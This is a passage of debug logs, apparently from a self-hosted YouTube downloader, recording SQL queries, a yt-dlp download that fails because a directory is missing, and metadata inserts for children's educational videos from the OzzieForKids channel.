m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9742] 13:15:20.707 [debug] Current batch of media processed. Will check again in 1000ms 13:15:21.711 [debug] Current batch of media processed. Will check again in 1000ms 13:15:21.844 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/47/ba47c776a0df2da47577e86a19b0b2a1c005929afcad1e57bdad648d7bcc635b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:15:21.844 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:15:21.848 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18316576,"event":"job:exception","queue_time":727282,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:15:22.712 [debug] Current batch of media processed. Will check again in 1000ms 13:15:23.714 [debug] Current batch of media processed. Will check again in 1000ms 13:15:24.714 [debug] Current batch of media processed. Will check again in 1000ms 13:15:25.715 [debug] Current batch of media processed. Will check again in 1000ms 13:15:26.718 [debug] Current batch of media processed. Will check again in 1000ms 13:15:27.722 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "It's time for a big smile with Ozzie's First Time at the Dentist Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover what happens during a visit to the dentist. From sitting in the dentist's chair to having your teeth counted and cleaned, this fun sing-along helps make a first trip to the dentist exciting instead of scary!\n\nGet ready to brush, smile and sing along as we learn how dentists help keep our teeth healthy and strong.\n\nMusic helps us learn, build confidence and remember important healthy habits. So open wide and join Ozzie for a fun dental adventure!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ What happens at the dentist\nβ€’ How to keep teeth clean and healthy\nβ€’ Why regular dental check-ups are important\n\nTopics kids will learn about in this video:\n\ndentist for kids\ndentist song for kids\nfirst dentist visit for kids\nbrushing teeth for kids\nhealthy teeth for kids\ndentist explained for kids\ndental health for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#DentistForKids #DentalHealth #HealthyTeeth #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 174, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-05 - 🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie.mp4", "id" => "i5rPf5Zbb80", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=i5rPf5Zbb80", "playlist_index" => 9, "timestamp" => 1785963610, "title" => "🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie", "upload_date" => "20260805"} 13:15:27.723 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1239.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:27.725 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1103.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:27.729 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=241.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-05 21:00:10Z], 7] 13:15:27.763 [debug] QUERY OK source="media_items" db=31.7ms queue=0.1ms idle=246.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It's time for a big smile with Ozzie's First Time at the Dentist Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover what happens during a visit to the dentist. From sitting in the dentist's chair to having your teeth counted and cleaned, this fun sing-along helps make a first trip to the dentist exciting instead of scary!\n\nGet ready to brush, smile and sing along as we learn how dentists help keep our teeth healthy and strong.\n\nMusic helps us learn, build confidence and remember important healthy habits. So open wide and join Ozzie for a fun dental adventure!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ What happens at the dentist\nβ€’ How to keep teeth clean and healthy\nβ€’ Why regular dental check-ups are important\n\nTopics kids will learn about in this video:\n\ndentist for kids\ndentist song for kids\nfirst dentist visit for kids\nbrushing teeth for kids\nhealthy teeth for kids\ndentist explained for kids\ndental health for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#DentistForKids #DentalHealth #HealthyTeeth #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie", "7d891ca3-2b11-44de-a653-eb30849d3ee5", 174, false, "i5rPf5Zbb80", "https://www.youtube.com/watch?v=i5rPf5Zbb80", 9, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-05 - 🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-08-05 21:00:10Z], ~U[2026-09-03 03:15:27Z], ~U[2026-09-03 03:15:27Z], "It's time for a big smile with Ozzie's First Time at the Dentist Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover what happens during a visit to the dentist. From sitting in the dentist's chair to having your teeth counted and cleaned, this fun sing-along helps make a first trip to the dentist exciting instead of scary!\n\nGet ready to brush, smile and sing along as we learn how dentists help keep our teeth healthy and strong.\n\nMusic helps us learn, build confidence and remember important healthy habits. So open wide and join Ozzie for a fun dental adventure!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ What happens at the dentist\nβ€’ How to keep teeth clean and healthy\nβ€’ Why regular dental check-ups are important\n\nTopics kids will learn about in this video:\n\ndentist for kids\ndentist song for kids\nfirst dentist visit for kids\nbrushing teeth for kids\nhealthy teeth for kids\ndentist explained for kids\ndental health for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#DentistForKids #DentalHealth #HealthyTeeth #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie", 174, false, "i5rPf5Zbb80", "https://www.youtube.com/watch?v=i5rPf5Zbb80", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-05 - 🦷 First Time at the Dentist! | Dentist Song for Kids | Sing Along with Ozzie.mp4", false, 7, ~U[2026-08-05 21:00:10Z]] 13:15:27.764 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=138.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:27.766 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=41.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:27.767 [debug] QUERY OK source="media_items" db=0.4ms idle=41.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9744] 13:15:27.767 [debug] Current batch of media processed. Will check again in 1000ms 13:15:28.769 [debug] Current batch of media processed. Will check again in 1000ms 13:15:29.771 [debug] Current batch of media processed. Will check again in 1000ms 13:15:30.775 [debug] Current batch of media processed. Will check again in 1000ms 13:15:31.780 [debug] Current batch of media processed. Will check again in 1000ms 13:15:32.781 [debug] Current batch of media processed. Will check again in 1000ms 13:15:33.781 [debug] Current batch of media processed. Will check again in 1000ms 13:15:34.783 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're heading through the car wash for an exciting adventure and a fun sing-along song! πŸš—πŸ«§πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventures, music and hands-on fun!\n\nJoin Ozzie for the ultimate Car Wash Combo, featuring a fun educational episode and a catchy Car Wash Song that's perfect for singing along.\n\nWatch as dirty cars become sparkling clean while giant brushes spin, colourful soap bubbles foam, powerful water jets spray and huge dryers blast away the water.\n\nCan you make all the fun car wash sounds? Splash... Spray... Scrub... Shine! Sing along with Ozzie as we discover how a car wash works and why it's important to keep our vehicles clean.\n\nPerfect for toddlers, preschoolers and curious kids who love cars, trucks, machines and catchy songs!\n\nIn this combo you'll enjoy:\n\nπŸš— A fun car wash adventure\n🫧 Giant spinning brushes\nπŸ’¦ Powerful water sprays\n✨ Sparkling clean cars\n🎡 The Car Wash Song\n🎢 Sing-along learning and fun\n\nKids will learn about:\nβ€’ How a car wash works\nβ€’ The different machines used to clean a car\nβ€’ Why it's important to keep vehicles clean\nβ€’ Sequencing and following steps\nβ€’ Listening, singing and joining in\n\nTopics kids will learn about in this video:\nβ€’ Car Wash For Kids\nβ€’ Car Wash Song For Kids\nβ€’ Cars For Kids\nβ€’ How A Car Wash Works\nβ€’ Cleaning Vehicles For Kids\nβ€’ Car Wash Machines For Kids\nβ€’ Vehicles Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 1185, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-02 - Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie.mp4", "id" => "F5siG9EbRv8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=F5siG9EbRv8", "playlist_index" => 10, "timestamp" => 1785646822, "title" => "Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie", "upload_date" => "20260802"} 13:15:34.785 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1292.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:15:34.787 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1294.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:34.791 [debug] QUERY OK source="media_items" db=3.1ms queue=0.2ms idle=1295.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-02 05:00:22Z], 7] 13:15:34.798 [debug] QUERY OK source="media_items" db=5.2ms queue=0.1ms idle=1138.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're heading through the car wash for an exciting adventure and a fun sing-along song! πŸš—πŸ«§πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventures, music and hands-on fun!\n\nJoin Ozzie for the ultimate Car Wash Combo, featuring a fun educational episode and a catchy Car Wash Song that's perfect for singing along.\n\nWatch as dirty cars become sparkling clean while giant brushes spin, colourful soap bubbles foam, powerful water jets spray and huge dryers blast away the water.\n\nCan you make all the fun car wash sounds? Splash... Spray... Scrub... Shine! Sing along with Ozzie as we discover how a car wash works and why it's important to keep our vehicles clean.\n\nPerfect for toddlers, preschoolers and curious kids who love cars, trucks, machines and catchy songs!\n\nIn this combo you'll enjoy:\n\nπŸš— A fun car wash adventure\n🫧 Giant spinning brushes\nπŸ’¦ Powerful water sprays\n✨ Sparkling clean cars\n🎡 The Car Wash Song\n🎢 Sing-along learning and fun\n\nKids will learn about:\nβ€’ How a car wash works\nβ€’ The different machines used to clean a car\nβ€’ Why it's important to keep vehicles clean\nβ€’ Sequencing and following steps\nβ€’ Listening, singing and joining in\n\nTopics kids will learn about in this video:\nβ€’ Car Wash For Kids\nβ€’ Car Wash Song For Kids\nβ€’ Cars For Kids\nβ€’ How A Car Wash Works\nβ€’ Cleaning Vehicles For Kids\nβ€’ Car Wash Machines For Kids\nβ€’ Vehicles Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie", "9a716b6f-33c2-4880-80af-68bbf66b0a8c", 1185, false, "F5siG9EbRv8", "https://www.youtube.com/watch?v=F5siG9EbRv8", 10, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-02 - Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-08-02 05:00:22Z], ~U[2026-09-03 03:15:34Z], ~U[2026-09-03 03:15:34Z], "Today we're heading through the car wash for an exciting adventure and a fun sing-along song! πŸš—πŸ«§πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventures, music and hands-on fun!\n\nJoin Ozzie for the ultimate Car Wash Combo, featuring a fun educational episode and a catchy Car Wash Song that's perfect for singing along.\n\nWatch as dirty cars become sparkling clean while giant brushes spin, colourful soap bubbles foam, powerful water jets spray and huge dryers blast away the water.\n\nCan you make all the fun car wash sounds? Splash... Spray... Scrub... Shine! Sing along with Ozzie as we discover how a car wash works and why it's important to keep our vehicles clean.\n\nPerfect for toddlers, preschoolers and curious kids who love cars, trucks, machines and catchy songs!\n\nIn this combo you'll enjoy:\n\nπŸš— A fun car wash adventure\n🫧 Giant spinning brushes\nπŸ’¦ Powerful water sprays\n✨ Sparkling clean cars\n🎡 The Car Wash Song\n🎢 Sing-along learning and fun\n\nKids will learn about:\nβ€’ How a car wash works\nβ€’ The different machines used to clean a car\nβ€’ Why it's important to keep vehicles clean\nβ€’ Sequencing and following steps\nβ€’ Listening, singing and joining in\n\nTopics kids will learn about in this video:\nβ€’ Car Wash For Kids\nβ€’ Car Wash Song For Kids\nβ€’ Cars For Kids\nβ€’ How A Car Wash Works\nβ€’ Cleaning Vehicles For Kids\nβ€’ Car Wash Machines For Kids\nβ€’ Vehicles Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#CarWash #CarWashSong #CarsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie", 1185, false, "F5siG9EbRv8", "https://www.youtube.com/watch?v=F5siG9EbRv8", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-02 - Car Wash for Kids! πŸš—πŸ’¦ Car Wash Adventure + Sing-Along Song with Ozzie.mp4", false, 7, ~U[2026-08-02 05:00:22Z]] 13:15:34.800 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=142.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:15:34.802 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=16.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:15:34.804 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=16.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9746] 13:15:34.804 [debug] Current batch of media processed. Will check again in 1000ms 13:15:35.804 [debug] Current batch of media processed. Will check again in 1000ms 13:15:36.807 [debug] Current batch of media processed. Will check again in 1000ms 13:15:37.808 [debug] Current batch of media processed. Will check again in 1000ms 13:15:38.812 [debug] Current batch of media processed. Will check again in 1000ms 13:15:39.814 [debug] Current batch of media processed. Will check again in 1000ms 13:15:40.816 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get ready to sing, scrub and splash with Ozzie in this fun Car Wash Song with Words for Kids!\n\nJoin Ozzie as we wash dirty cars, spray water, scrub away the mud, rinse off the bubbles and make every vehicle sparkle. With on-screen words, it's easy to sing along while learning all about how a car wash works!\n\nClap your hands, stomp your feet and join the action as we clean cars together in this catchy sing-along adventure.\n\nMusic helps us learn new words, build confidence and remember exciting new things. So grab your sponge, turn on the hose and let's get those cars sparkling clean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ How a car wash works\nβ€’ The steps to washing a car\nβ€’ Different car washing tools and equipment\n\nTopics kids will learn about in this video:\n\nβ€’ car wash song with words\nβ€’ car wash song for kids\nβ€’ sing along songs for kids\nβ€’ car wash for kids\nβ€’ washing cars for kids\nβ€’ cars and trucks for kids\nβ€’ vehicle learning songs\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right 